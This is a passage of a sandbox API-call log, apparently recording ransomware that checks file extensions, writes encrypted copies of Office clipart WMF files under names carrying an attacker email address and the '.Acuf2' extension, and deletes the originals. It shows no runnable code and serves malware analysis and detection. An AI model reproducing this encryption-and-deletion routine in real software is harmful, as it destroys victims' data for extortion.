	[0254.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.988] lstrlenW (lpString=".1cd") returned 4
	[0254.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.988] lstrlenW (lpString=".jpg") returned 4
	[0254.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.988] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.988] lstrlenW (lpString="AN04174_.WMF") returned 12
	[0254.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.034] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2636) returned 1
	[0255.034] CloseHandle (hObject=0x35c) returned 1
	[0255.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20
	[0255.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.048] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.048] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.049] GetLastError () returned 0x0
	[0255.049] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xa4c, lpOverlapped=0x0) returned 1
	[0255.187] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0255.188] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.188] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.188] SetEndOfFile (hFile=0x328) returned 1
	[0255.188] CloseHandle (hObject=0x328) returned 1
	[0255.188] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.188] SetEndOfFile (hFile=0x334) returned 1
	[0255.191] CloseHandle (hObject=0x334) returned 1
	[0255.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1
	[0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.191] lstrlenW (lpString=".doc") returned 4
	[0255.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.191] lstrlenW (lpString=".docx") returned 5
	[0255.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.191] lstrlenW (lpString=".pdf") returned 4
	[0255.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.191] lstrlenW (lpString=".xls") returned 4
	[0255.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.191] lstrlenW (lpString=".xlsx") returned 5
	[0255.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.192] lstrlenW (lpString=".ppt") returned 4
	[0255.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString=".zip") returned 4
	[0255.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.192] lstrlenW (lpString=".rar") returned 4
	[0255.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString=".bz2") returned 4
	[0255.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString=".7z") returned 3
	[0255.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString=".dbf") returned 4
	[0255.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString=".1cd") returned 4
	[0255.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString=".jpg") returned 4
	[0255.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.192] lstrlenW (lpString=".doc") returned 4
	[0255.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.192] lstrlenW (lpString=".docx") returned 5
	[0255.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.193] lstrlenW (lpString=".pdf") returned 4
	[0255.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString=".xls") returned 4
	[0255.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.193] lstrlenW (lpString=".xlsx") returned 5
	[0255.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.193] lstrlenW (lpString=".ppt") returned 4
	[0255.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.193] lstrlenW (lpString=".zip") returned 4
	[0255.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.193] lstrlenW (lpString=".rar") returned 4
	[0255.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString=".bz2") returned 4
	[0255.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString=".7z") returned 3
	[0255.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.193] lstrlenW (lpString=".dbf") returned 4
	[0255.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.193] lstrlenW (lpString=".1cd") returned 4
	[0255.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63
	[0255.193] lstrlenW (lpString=".jpg") returned 4
	[0255.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.193] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.194] lstrlenW (lpString="AN04196_.WMF") returned 12
	[0255.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.194] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3144) returned 1
	[0255.194] CloseHandle (hObject=0x334) returned 1
	[0255.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20
	[0255.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.194] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.194] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.197] GetLastError () returned 0x0
	[0255.197] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xc48, lpOverlapped=0x0) returned 1
	[0255.206] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xc50, lpOverlapped=0x0) returned 1
	[0255.207] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.207] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.207] SetEndOfFile (hFile=0x328) returned 1
	[0255.207] CloseHandle (hObject=0x328) returned 1
	[0255.208] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.208] SetEndOfFile (hFile=0x334) returned 1
	[0255.210] CloseHandle (hObject=0x334) returned 1
	[0255.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1
	[0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.210] lstrlenW (lpString=".doc") returned 4
	[0255.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.210] lstrlenW (lpString=".docx") returned 5
	[0255.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.210] lstrlenW (lpString=".pdf") returned 4
	[0255.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.210] lstrlenW (lpString=".xls") returned 4
	[0255.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.210] lstrlenW (lpString=".xlsx") returned 5
	[0255.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.211] lstrlenW (lpString=".ppt") returned 4
	[0255.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString=".zip") returned 4
	[0255.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.211] lstrlenW (lpString=".rar") returned 4
	[0255.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString=".bz2") returned 4
	[0255.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString=".7z") returned 3
	[0255.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString=".dbf") returned 4
	[0255.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString=".1cd") returned 4
	[0255.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString=".jpg") returned 4
	[0255.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.211] lstrlenW (lpString=".doc") returned 4
	[0255.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString=".docx") returned 5
	[0255.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.211] lstrlenW (lpString=".pdf") returned 4
	[0255.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.211] lstrlenW (lpString=".xls") returned 4
	[0255.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.212] lstrlenW (lpString=".xlsx") returned 5
	[0255.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.212] lstrlenW (lpString=".ppt") returned 4
	[0255.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.212] lstrlenW (lpString=".zip") returned 4
	[0255.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.212] lstrlenW (lpString=".rar") returned 4
	[0255.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.212] lstrlenW (lpString=".bz2") returned 4
	[0255.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.212] lstrlenW (lpString=".7z") returned 3
	[0255.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.212] lstrlenW (lpString=".dbf") returned 4
	[0255.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.212] lstrlenW (lpString=".1cd") returned 4
	[0255.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63
	[0255.212] lstrlenW (lpString=".jpg") returned 4
	[0255.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.212] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.213] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0255.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.213] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=8492) returned 1
	[0255.213] CloseHandle (hObject=0x334) returned 1
	[0255.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20
	[0255.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.213] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.214] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.214] GetLastError () returned 0x0
	[0255.214] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x212c, lpOverlapped=0x0) returned 1
	[0255.215] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2130, lpOverlapped=0x0) returned 1
	[0255.217] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.217] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.217] SetEndOfFile (hFile=0x328) returned 1
	[0255.217] CloseHandle (hObject=0x328) returned 1
	[0255.217] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.217] SetEndOfFile (hFile=0x334) returned 1
	[0255.219] CloseHandle (hObject=0x334) returned 1
	[0255.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1
	[0255.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.220] lstrlenW (lpString=".doc") returned 4
	[0255.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString=".docx") returned 5
	[0255.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.220] lstrlenW (lpString=".pdf") returned 4
	[0255.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString=".xls") returned 4
	[0255.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.220] lstrlenW (lpString=".xlsx") returned 5
	[0255.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.220] lstrlenW (lpString=".ppt") returned 4
	[0255.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.220] lstrlenW (lpString=".zip") returned 4
	[0255.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.220] lstrlenW (lpString=".rar") returned 4
	[0255.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString=".bz2") returned 4
	[0255.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString=".7z") returned 3
	[0255.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.220] lstrlenW (lpString=".dbf") returned 4
	[0255.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.220] lstrlenW (lpString=".1cd") returned 4
	[0255.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString=".jpg") returned 4
	[0255.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString=".doc") returned 4
	[0255.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString=".docx") returned 5
	[0255.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.221] lstrlenW (lpString=".pdf") returned 4
	[0255.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString=".xls") returned 4
	[0255.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.221] lstrlenW (lpString=".xlsx") returned 5
	[0255.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.221] lstrlenW (lpString=".ppt") returned 4
	[0255.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString=".zip") returned 4
	[0255.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.221] lstrlenW (lpString=".rar") returned 4
	[0255.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString=".bz2") returned 4
	[0255.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString=".7z") returned 3
	[0255.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString=".dbf") returned 4
	[0255.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63
	[0255.221] lstrlenW (lpString=".1cd") returned 4
	[0255.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
